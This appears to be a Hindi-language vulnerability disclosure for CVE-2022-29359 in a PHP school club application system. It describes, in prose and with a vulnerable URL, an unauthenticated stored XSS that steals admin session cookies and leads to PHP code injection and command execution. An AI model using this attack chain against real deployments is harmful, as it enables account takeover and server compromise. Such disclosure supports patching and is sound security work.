zsecure/cve-2022-29359CVE-2022-29359 - स्कूल एप्लीकेशन सिस्टम संग्रहीत क्रॉस-साइट स्क्रिप्टिंग
मुद्दा: बिना प्रमाणीकरण के संग्रहीत क्रॉस-साइट स्क्रिप्टिंग से HTML इंजेक्शन होकर RCE तक
लेखक: Zak Clifford
दिनांक: 12.04.2022
विक्रेता: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
सॉफ़्टवेयर: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip
संदर्भ: https://github.com/ZSECURE
परीक्षण किया गया: Windows, MySQL, Apache
एक मुक्त और ओपन-सोर्स सॉफ़्टवेयर (FOSS) एप्लिकेशन का परीक्षण करते समय, एक दोष पाया गया जहाँ एक बिना प्रमाणीकरण वाला हमलावर किसी पुस्तक क्लब में शामिल होने के लिए आवेदन कर सकता था, एक XSS पेलोड इंजेक्ट कर सकता था और एप्लिकेशन के व्यवस्थापकों (Admin या Club Admin भूमिका) के सत्र कुकीज़ चुरा सकता था। सत्र कुकी के साथ, एप्लिकेशन में व्यवस्थापक के रूप में लॉग इन करके, about-us और होम पेज में PHP कोड जोड़ना संभव है। PHP शेल जोड़कर वेबसर्वर पर कमांड निष्पादित करना संभव है।
मैनुअल विवरण: किसी क्लब में आवेदन करें और Submit Application पर क्लिक करें
सीधा तरीका: निम्न URL पर जाएँ http://localhost/scas/?page=clubs/application_form&id=7
असुरक्षित इनपुट फ़ील्ड का स्क्रीनशॉट:

अब जब कोई व्यवस्थापक या क्लब व्यवस्थापक लॉग इन करके आवेदन देखता है, तो संग्रहीत XSS ट्रिगर हो जाता है और सत्र कुकी को कैप्चर करना संभव हो जाता है। एक बार कुकी कैप्चर हो जाने पर, उस कुकी के साथ उस उपयोगकर्ता के रूप में लॉग इन करना संभव है।
व्यवस्थापक के सत्र कुकी के साथ, index.php और about-us.php में कोड इंजेक्ट करना संभव है ताकि पृष्ठ में हेरफेर किया जा सके और संभवतः कमांड निष्पादन प्राप्त किया जा सके।
